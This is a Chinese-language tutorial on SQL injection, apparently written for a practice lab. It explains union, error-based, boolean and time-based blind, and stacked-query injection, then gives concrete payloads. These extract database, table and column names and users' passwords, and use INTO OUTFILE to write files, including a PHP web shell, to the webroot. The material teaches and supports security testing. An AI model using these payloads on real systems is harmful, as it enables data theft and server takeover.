一、SQL注入分类

  • 联合查询型
  • 报错型
  • 盲注型
    • 布尔型盲注
    • 延时型盲注
  • 多语句查询型

二、名词解释:

  • 1.联合查询型
    即通过将payload嵌入到正常的SQL语句内,在不破坏业务逻辑的情况下,通过SQL语句查询出数据库内容。
  • 2.报错型
    即通过强制数据库报错来提取数据库内容,适用于会抛出SQL错误到页面显示的web应用。
  • 3.盲注型
    即注入点即不输出查询到的数据到页面显示,也没有将SQL的错误信息输出到页面。此时可以使用如下两种类型的注入:
    • 1.布尔型注入
      即通过判断页面的返回状态来断定此次SQL语句的执行情况,通过构造出判断语句来使数据库返回对或错,或者可以说返回真或假,虽然不能直接返回数据,但提供了猜测数据的可能性。常用的SQL函数是if函数。
    • 2.时间延迟型
      原理同布尔型注入类似,但在某些情况下页面既不返回查询的数据和错误信息、也不返回查询的状态,这时通过页面是无法判断SQL语句的执行情况的,通过使用时间延迟可成为另一种判断SQL语句执行情况的途径。
  • 4.多语句查询
    即可以在原SQL语句后再跟一条独立的SQL语句,操作空间更大、更方便,但只适用于某些数据库、或在支持某些数据库驱动的情况才能使用。

三、条件要求

  • 1.联合查询型,要求页面返回查询到的数据库内容。
  • 2.报错型,要求页面需返回数据库的错误信息。
  • 3.布尔型盲注,要求页面返回数据库查询状态。
  • 4.时间延迟型,只要能执行时间函数即可。
  • 5.多语句查询,需要数据库支持或驱动支持。

四、注入流程

识别数据库类型–(获取版本)–获取数据库名–获取表名–获取表结构(字段及类型)–提取数据

五、实例

1.基本流程:

获取数据库:

1
?id=1') union select null,null, schema_name from information_schema.schemata limit 8,1--

获取表:

1
?id=1') union select null,null,table_name from information_schema.tables where table_schema='security' limit 1,1--

获取字段:

1
?id=1') union select null,null,column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1--

提取数据:

1
1') union select null,null,concat(username,'|',password,'|',id) from users limit 1,1--

2.基于报错的注入:

报错注入:

1
id=1' and extractvalue(1, concat(0x5c,(select schema_name from information_schema.schemata limit 7,1)))--

3.盲注:

outfile:

1
id=1' union select 1,2,@@version into outfile 'c:\\webroot\\test1.txt'--

1
id=1' union select 1,2,schema_name from information_schema.schemata INTO OUTFILE 'c:\\webroot\\ok.txt'
1
id=1' union select 'shellcode' into outfile 'c:\\webroot\\shell.php'--

布尔盲注:

猜测表名或字段的长度:

1
id=2') and (SELECT length(table_name) FROM information_schema.tables where table_schema='CHALLENGES' limit 0,1) > 10--

猜测表名或字段名的内容:

1
id=2') and (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables where table_schema='CHALLENGES' limit 0,1) > 'a'--

其它:使用count函数可以统计表的数量或字段的数量

时间盲注:

1
id=1' and if(@@version ='5.6.11',sleep(3),1)--

4.Order By后注入

基于报错:

1
select * from users order by id,extractvalue(1, concat(0x5c,(select schema_name from information_schema.schemata limit 7,1)))--+

六、总结

以上的几种方法提供了完成注入的基本框架,我们需要学习的是它的原理和流程,而实际的Payload则需要结合当时情况,并不局限于书本上的知识。

举个列子,比如有一个注入点,无论sql语句是否执行完成都返回同一个页面,即页面在正常情况下是无状态的,所以基于联合查询的注入方法和基于布尔注入的方法都不可行。而同时如果sql语句执行出错则返回一个错误页面(并没有具体的错误信息),看起来也不满足报错注入的要求,但只要将它们一结合,实际上仍然可以进行布尔盲注。我们可以构造一条sql语句,如果查询成功则返回正常数据,如果查询失败则强制报错,那么我们就得到了一个判断sql执行状态的机制: 如果返回正常页面,则数据库查询成果,如果返回错误页面,则数据库查询失败。从而我们可以以此完成一次布尔盲注。